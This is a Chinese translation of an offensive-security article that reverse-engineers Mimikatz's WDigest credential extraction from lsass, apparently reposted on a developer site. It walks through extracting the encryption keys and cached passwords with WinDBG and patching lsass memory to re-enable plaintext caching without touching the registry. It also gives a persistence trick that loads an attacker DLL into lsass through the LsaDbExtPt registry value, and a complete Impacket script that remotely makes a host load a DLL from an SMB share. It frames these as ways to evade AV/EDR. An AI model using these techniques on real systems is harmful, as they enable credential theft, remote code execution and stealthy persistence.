内容简介:Mimikatz是个非常强大工具,我们曾打包过、封装过、注入过、使用powershell改造过这款工具,现在我们又开始向其输入内存dump数据。不论如何,从Windows系统我一直以来都在强调,大家需要理解工具的内部原理,而不是执行脚本这么简单。现在安全厂商一直都在减少并监控常见的攻击技巧及攻击面,并且会比我们发现新方法的速度还要快,因此理解某种技术对底层API的调用能带来不少好处,可能避免我们的行为在重重防护的环境中被检测出来。
0x00 前言
Mimikatz是个非常强大工具,我们曾打包过、封装过、注入过、使用powershell改造过这款工具,现在我们又开始向其输入内存dump数据。不论如何,从Windows系统 lsass
提取凭据时,Mimikatz仍然是首选工具。每当微软引入新的安全控制策略时, GentilKiwi 总是能够想出奇招绕过防御,这也是Mimikatz充满活力的原因所在。然而如果大家之前看过Mimikatz的源码,就知道这绝非易事,该 工具 需要支持x86及x64的所有Windows版本(最近还增加了对ARM架构Windows的支持)。随着Mimikatz的声名远扬,蓝队现在也有各种方式能够检测这款工具。从根本上来讲,如果目标环境中部署了针对性安全机制,那么在目标主机上执行Mimikatz的行为就可能被检测到。
我一直以来都在强调,大家需要理解工具的内部原理,而不是执行脚本这么简单。现在安全厂商一直都在减少并监控常见的攻击技巧及攻击面,并且会比我们发现新方法的速度还要快,因此理解某种技术对底层API的调用能带来不少好处,可能避免我们的行为在重重防护的环境中被检测出来。
在这种情况下,许多后渗透工具集会以各种方式集成Mimikatz这个工具。现在有些安全厂商会检测进程与 lsass
的交互行为,而更多厂商会去努力去识别Mimikatz行为特征。
我一直都想在某些场景下抽离Mimikatz的某些功能(主要是不方便或者不可能转储内存数据的场景),但我却没有好好深入研究这款工具的底层实现,这一点实在有点让人困扰。
因此在过去几篇文章中,我开始探索这款工具的内部实现,主要从WDigest开始研究。我重点关注的是明文凭据如何缓存在 lsass
中,为什么可以使用 sekurlsa::wdigest
来提取这些凭据。这个过程需要反汇编以及调试,并且想达到Mimikatz的高度是非常困难的一件事,但最后我们会发现,如果只是想实现Mimikatz中的一部分功能、基于源代码来构建自己的工具,那么这个过程还是非常值得去尝试。
在本文中,我将探讨在 lsass
中加载任意DLL的其他方法,可以与本文的示例代码结合使用。
备注:本文大量用到了Mimikatz源代码,Mimikatz开发人员在这上面花了大量精力。当我们在阅读源码时,会发现其中涉及到许多未公开的结构,感受到开发者的辛苦付出。这里要感谢Mimikatz、 Benjamin Delpy 以及 Vincent Le Toux 的杰出工作。
0x01 sekurlsa::wdigest
如上所述,在本文中我们将重点关注WDigest,这也是Mimikatz最出名的一个功能。在Windows Server 2008 R2之前,系统默认情况下会缓存WDigest凭据,此后系统不再缓存明文凭据。
在逆向分析系统组件时,我通常喜欢attach调试器,观察组件如何在运行过程中与系统交互。不幸的是,在这种场景下,我们无法简单地将WinDBG附加到 lsass
上,如果这么操作,Windows会停止运行,警告用户系统即将重启。因此,我们需要attach内核,然后从Ring-0切换到 lsass
进程。如果大家之前没有使用WinDBG attach内核,可以阅读我之前的 文章 ,了解如何设置内核调试器。
attach内核调试器后,我们需要抓取 lsass
进程的 EPROCESS
地址,可以使用如下命令 !process 0 0 lsass.exe
:
确定 EPROCESS
地址后( ffff9d01325a7080
),我们可以请求将调试会话切换到 lsass
进程的上下文:
通过 lm
命令来确定现在我们具备WDigest DLL进程空间的访问权限:
如果此时我们发现符号并没有得到正确解析,通常情况下可以尝试 .reload /user
。
attach调试器后,让我们开始深入分析WDigest。
0x02 深入分析wdigest.dll(以及lsasrv.dll)
如果观察Mimikatz源代码,可以看到代码通过扫描特征来识别内存中的凭据信息。这里我们可以使用非常有名的 Ghidra 工具,来看看Mimikatz在搜索哪些特征。
我使用的环境为Windows 10 x64,因此我重点关注 PTRN_WIN6_PasswdSet
特征,如下所示:
在Ghidra中输入这个搜索特征后,我们就能知道Mimikatz在内存中搜索什么:
如上图所示,我们找到了 LogSessHandlerPasswdSet
,特别是 l_LogSessList
指针。这个指针是从WDigest中提取凭据的关键,但在进一步分析前,我们可以先备份一下,通过交叉引用查找谁在调用这个函数,我们找到了如下信息:
这里我们找到了 WDigest.dll
导出的 SpAcceptCredentials
函数,这个函数有什么作用呢?
这个信息看起来非常有希望,我们可以看到凭据需要通过这个回调函数来传递。我们来确认一下自己的确没有偏离主题。在WinDBG中,我们可以使用 bp wdigest!SpAcceptCredentials
来添加断点,然后在Windows中利用 runas
命令弹出一个shell:
这些操作应该足以触发断点。检查传给该函数的参数,我们可以看到传入的凭据:
如果我们继续执行,在 wdigest!LogSessHandlerPasswdSet
上添加另一个断点,可以发现虽然我们传入了用户名,但并没有看到我们的密码。然而在 LogSessHandlerPasswdSet
函数被调用之前,我们可以看到如下信息:
这实际上是用于Control Flow Guard的一个桩(stub)函数( Ghidra 9.0.3 似乎能够较好地显示CFG stub),但如果我们在调试器中跟踪,就会发现系统实际上调用的是 LsaProtectMemory
:
这符合我们的预期,因为我们知道凭据会在内存中加密存储。不幸的是, lsass
并没有对外公开 LsaProtectMemory
,因此我们需要知道如何重构该功能来解密先前提取出的凭据。跟踪反汇编代码,我们发现这个调用实际上是 LsaEncryptMemory
的封装函数:
而 LsaEncryptMemory
实际上是 BCryptEncrypt
的封装函数:
有趣的是,系统会根据待加密的数据块长度来选择加密/解密函数。如果输入的缓冲区长度能被8整除(如上图的 param_2 & 7
),那么就会使用AES算法。如果不满足该条件,则会使用3Des。
现在我们知道我们的密码经过 BCryptEncrypt
加密,但密钥在哪?如果往上翻翻,我们可以看到对 lsasrv!h3DesKey
以及 lsasrv!hAesKey
的引用。跟踪引用地址,我们可以看到 lsasrv!LsaInitializeProtectedMemory
用来给这些变量分配初始值。更具体一点,系统会调用 BCryptGenRandom
来生成密钥:
这意味着每次 lsass
启动时都会生成随机的新密钥,我们需要提取密钥才能解密已缓存的WDigest凭据。
回到Mimikatz源代码,确认一下我们并没有偏离方向。可以看到代码的确会搜索 LsaInitializeProtectedMemory
函数,同时还有一些特征用来区分不同的Windows版本及架构:
如果我们在Ghidra中搜索这些特征,可以找到如下信息:
这里我们可以看到对 hAesKey
地址的引用。因此,与之前的特征搜索类似,Mimikatz正在内存中寻找加密密钥。
接下来我们需要理解Mimikatz如何将密钥从内存中提取出来。为了完成这个任务,我们需要参考Mimikatz中的 kuhl_m_sekurlsa_nt6_acquireKey
,其中能看到对应不同操作系统版本的长度值。可以看到 hAesKey
以及 h3DesKey
(从 BCryptGenerateSymmetricKey
返回的 BCRYPT_KEY_HANDLE
类型)实际上指向的是内存中的一个结构体,其中包含生成的对称AES密钥以及3DES密钥。我们可以在Mimikatz中找到这个结构:
typedef struct _KIWI_BCRYPT_HANDLE_KEY { ULONG size; ULONG tag; // 'UUUR' PVOID hAlgorithm; PKIWI_BCRYPT_KEY key; PVOID unk0; } KIWI_BCRYPT_HANDLE_KEY, *PKIWI_BCRYPT_HANDLE_KEY;
可以将这个信息与WinDBG结合起来,检查其中的 UUUR
标签来确认我们没有偏离正轨:
在 0x10
偏移处,我们可以看到Mimikatz正在引用 PKIWI_BCRYPT_KEY
,结构如下所示:
typedef struct _KIWI_BCRYPT_KEY81 { ULONG size; ULONG tag; // 'MSSK' ULONG type; ULONG unk0; ULONG unk1; ULONG unk2; ULONG unk3; ULONG unk4; PVOID unk5; // before, align in x64 ULONG unk6; ULONG unk7; ULONG unk8; ULONG unk9; KIWI_HARD_KEY hardkey; } KIWI_BCRYPT_KEY81, *PKIWI_BCRYPT_KEY81;
当然,如果继续跟进,WinDBG也会显示相同的引用标签:
这个结构最后一个成员是 KIWI_HARD_KEY
,对应的结构如下:
typedef struct _KIWI_HARD_KEY { ULONG cbSecret; BYTE data[ANYSIZE_ARRAY]; // etc... } KIWI_HARD_KEY, *PKIWI_HARD_KEY;
这个结构体中包含密钥的大小( cbSecret
), data
中包含实际的密钥。这意味着我们可以使用WinDBG来提取这个密钥,如下所示:
这样我们就得到了 h3DesKey
,大小为 0x18
字节,包含如下数据:
b9 a8 b6 10 ee 85 f3 4f d3 cb 50 a6 a4 88 dc 6e ee b3 88 68 32 9a ec 5a
我们可以通过相同的过程来提取 hAesKey
:
现在我们已经知道密钥的提取过程,我们需要寻找WDigest实际缓存的密钥。让我们回到前面讨论过的 l_LogSessList
指针。这个字段对应的是一个链表,我们可以使用WinDBG命令 !list -x "dq @$extret" poi(wdigest!l_LogSessList)
来遍历链表:
这些表项对应的结构包含如下字段:
typedef struct _KIWI_WDIGEST_LIST_ENTRY { struct _KIWI_WDIGEST_LIST_ENTRY *Flink; struct _KIWI_WDIGEST_LIST_ENTRY *Blink; ULONG UsageCount; struct _KIWI_WDIGEST_LIST_ENTRY *This; LUID LocallyUniqueIdentifier; } KIWI_WDIGEST_LIST_ENTRY, *PKIWI_WDIGEST_LIST_ENTRY;
在这个结构之后有3个 LSA_UNICODE_STRING
字段,具体偏移如下:
0x30 0x40 0x50
这里我们在WinDBG中使用如下命令来确保我们的研究方向没有问题:
!list -x "dS @$extret+0x30" poi(wdigest!l_LogSessList)
可以导出已缓存的用户名,如下所示:
最后我们可以使用类似的命令导出已加密的密码:
!list -x "db poi(@$extret+0x58)" poi(wdigest!l_LogSessList)
到目前为止,我们已经搜集到从内存中提取WDigest凭据的所有拼图。
掌握提取到的数据以及解密流程后,我们是否能将这些元素结合在一起,形成独立于Mimikatz的一款小工具?为了验证这是否可行,我构造了一个 PoC ,其中包含大量注释。在Windows 10 x64(build 1809)上运行时,该工具能输出关于凭据提取的各种提示信息:
输出太多信息肯定不利于隐蔽我们的行为,但大家可以以此为例,了解开发定制工具的过程。
现在我们已经澄清如何抓取并解密WDigest已缓存的凭据,我们可以开始研究影响凭据收集的另一个因素: UseLogonCredential
。
0x03 UseLogonCredential
越来越多人想提取明文密码,因此微软决定在默认情况下禁用这种协议。当然,还会有些用户在使用WDigest,因此为了能够重启该协议,微软给出了一个注册表项: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest\UseLogonCredential
,将这个值从 0
改成 1
,就可以让WDigest重新开始缓存,这意味着渗透测试人员还是会有用武之地。此外GentiKiwi还提到,修改这个键值并不需要重启才能生效,后面我会讨论这一点。
让我们再来看一下 SpAcceptCredentials
,经过一番搜索后,我们找到如下代码:
这里我们可以看到系统在判断条件中使用了两个全局变量。如果 g_IsCredGuardEnabled
为 1
,或者 g_fParameter_UseLogonCredential
为 0
,那么就不会进入 LogSessHandlerPasswdSet
代码路径,而是会进入 LogSessHandlerNoPasswordInsert
代码路径。顾名思义,这个函数会缓存会话而不是密码,这也是我们经常会在Windows 2012上碰到的情况。根据变量名,我们有理由猜测这个变量受前面提到的注册表键值控制,我们可以跟踪变量赋值逻辑来确认这一点:
了解 WDigest.dll
中哪个变量会控制凭据缓存后,我们是否可以在不更新注册表的情况下做些变化?如果我们使用调试器,在运行时更新 g_fParameter_UseLogonCredential
参数,会出现什么情况?
恢复执行,我们可以看到系统会再次缓存明文凭据:
当然,我们都搞定内核调试器了,本来就可以做很多事情。但如果我们可以在不触发AV/EDR的情况下(参考之前我关于 Cylance 的一篇文章)篡改 lsass
内存,那么我们就可以自己构造一个工具来操控这个变量。这里我又创建了包含大量输出的一个 工具 ,用来演示整个攻击过程。
这个工具会搜索并更新内存中的 g_fParameter_UseLogonCredential
变量值。如果我们面对的是受Credential Guard保护的系统,那么更新变量值也不是特别难,这部分工作留给大家来完成。
执行PoC后,可以看到WDigest现在已经重新启用,并且无需设置注册表值,这样我们就可以提取出已缓存的凭据:
这个PoC肯定不大适合实际操作环境,但可以作为参考,帮助大家构造属于自己的工具。
当然,启用WDigest的这种方法存在一定风险,主要是需要对 lsass
执行 WriteProcessMemory
操作。但如果目标环境允许,那么这种方法就可以在不需要设置注册表值的情况下启用WDigest。除了WDigest外,还有一些明文凭据提取方法,可能更适用于实际目标环境(比如说 memssp
,参考这篇文章)。
前面提到过,根据GentilKiwi的说法,我们不需要重启就可以让 UseLogonCredential
生效。这里让我们再次回到反汇编代码寻找原因。
观察引用这个注册表值的其他位置,我们可以找到 wdigest!DigestWatchParamKey
,这个函数会监控许多键值,包括:
用来触发这个函数的Win32 API为 RegNotifyKeyChangeValue
:
在WinDBG中,如果我们在 wdigest!DigestWatchParamKey
上设置断点,可以看到当我们添加 UseLogonCredential
时,就会触发断点:
0x04 将任意DLL载入LSASS
在使用反汇编工具时,我也在寻找有没有其他方法能够将代码载入 lsass
中(或者加载SSP),避免可能被安防产品hook的Win32 API。经过一些反汇编操作后,我在 lsasrv.dll
中找到如下代码:
以上代码位于 LsapLoadLsaDbExtensionDll
函数中,会尝试在用户提供的值上调用 LoadLibraryExW
,这样我们就有机会能够构造一个DLL加载到 lsass
进程中,比如:
BOOL APIENTRY DllMain( HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: // Insert l33t payload here break; } // Important to avoid BSOD return FALSE; }
在 DllMain
函数末尾,我们返回 FALSE
,强制 LoadLibraryEx
出现错误,这一点很重要。这样可以避免系统后续调用 GetProcAddress
。如果无法执行该操作,会导致系统重启后出现BSOD,除非我们移除DLL或者注册表键值。
构造出DLL后,我们需要做的就是创建如上注册表键值:
New-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Services\NTDS -Name LsaDbExtPt -Value "C:\xpnsec.dll"
系统会在重启时加载我们的DLL,因此可以作为高权限驻留技术,将我们的payload直接载入 lsass
中(当然需要PPL没有处于启用状态)。
0x05 远程将任意DLL载入LSASS
经过一番搜索后,我又在 samsrv.dll
中找到了类似的攻击方法。这里 LoadLibraryEx
会将我们可控的某个注册表键值载入 lsass
中:
同样,我们会添加一个注册表键值然后重启。然而这种情况下,触发这个代码逻辑要简单得多,我们可以使用SAMR RPC调用来触发。
这里我们可以使用前面的WDigest凭据提取代码来构造一个DLL,帮我们导出明文凭据。
为了加载这个DLL,我们可以使用一个非常简单的Impacket Python脚本来修改注册表,添加一个键值( HKLM\SYSTEM\CurrentControlSet\Services\NTDS\DirectoryServiceExtPt
),将其指向我们托管在开放式SMB共享的DLL上,然后通过 hSamConnect
RPC调用来触发系统加载DLL。代码如下所示:
from impacket.dcerpc.v5 import transport, rrp, scmr, rpcrt, samr from impacket.smbconnection import SMBConnection def trigger_samr(remoteHost, username, password): print("[*] Connecting to SAMR RPC service") try: rpctransport = transport.SMBTransport(remoteHost, 445, r'\samr', username, password, "", "", "", "") dce = rpctransport.get_dce_rpc() dce.connect() dce.bind(samr.MSRPC_UUID_SAMR) except (Exception) as e: print("[x] Error binding to SAMR: %s" % e) return print("[*] Connection established, triggering SamrConnect to force load the added DLL") # Trigger samr.hSamrConnect(dce) print("[*] Triggered, DLL should have been executed...") def start(remoteName, remoteHost, username, password, dllPath): winreg_bind = r'ncacn_np:445[\pipe\winreg]' hRootKey = None subkey = None rrpclient = None print("[*] Connecting to remote registry") try: rpctransport = transport.SMBTransport(remoteHost, 445, r'\winreg', username, password, "", "", "", "") except (Exception) as e: print("[x] Error establishing SMB connection: %s" % e) return try: # Set up winreg RPC rrpclient = rpctransport.get_dce_rpc() rrpclient.connect() rrpclient.bind(rrp.MSRPC_UUID_RRP) except (Exception) as e: print("[x] Error binding to remote registry: %s" % e) return print("[*] Connection established") print("[*] Adding new value to SYSTEM\\CurrentControlSet\\Services\\NTDS\\DirectoryServiceExtPtr") try: # Add a new registry key ans = rrp.hOpenLocalMachine(rrpclient) hRootKey = ans['phKey'] subkey = rrp.hBaseRegOpenKey(rrpclient, hRootKey, "SYSTEM\\CurrentControlSet\\Services\\NTDS") rrp.hBaseRegSetValue(rrpclient, subkey["phkResult"], "DirectoryServiceExtPt", 1, dllPath) except (Exception) as e: print("[x] Error communicating with remote registry: %s" % e) return print("[*] Registry value created, DLL will be loaded from %s" % (dllPath)) trigger_samr(remoteHost, username, password) print("[*] Removing registry entry") try: rrp.hBaseRegDeleteValue(rrpclient, subkey["phkResult"], "DirectoryServiceExtPt") except (Exception) as e: print("[x] Error deleting from remote registry: %s" % e) return print("[*] All done") print("LSASS DirectoryServiceExtPt POC\n @_xpn_\n") start("192.168.0.111", "192.168.0.111", "test", "wibble", "\\\\opensharehost\\ntds\\legit.dll")
我们能成功从内存中提取出明文凭据,大家可以参考完整 操作步骤 。
大家可以访问 此处 下载DLL代码,我们对前文的示例稍微做了些修改。
0x06 总结
希望本文能帮大家理解WDigest凭据缓存原理,了解Mimikatz如何通过 sekurlsa::wdigest
命令来提取并解密密码。更重要的是,我希望本文能帮助大家构造自己的工具,方便大家在实际环境中行动。我将继续关注渗透测试中常用的其他工具或技术,大家如果有任何问题或建议,欢迎随时联系我。
以上所述就是小编给大家介绍的《深入分析Mimikatz:WDigest》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!
猜你喜欢:本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
JAVASCRIPT语言精髓与编程实践
周爱民 / 电子工业出版社 / 2008-3 / 68.00元
《JAVASCRIPT语言精髓与编程实践》讲述了JavaScript的语言实现与扩展,主要包括以下三个方面的内容:(1)动态、函数式语言,以及其它语言特性在JavaScript的表现与应用;(2)如何用动态函数式语言的特性来扩展JavaScript的语言特性与框架;(3)如何将JavaScript引擎整合到其它高级语言的开发过程中。一起来看看 《JAVASCRIPT语言精髓与编程实践》 这本书的介绍吧!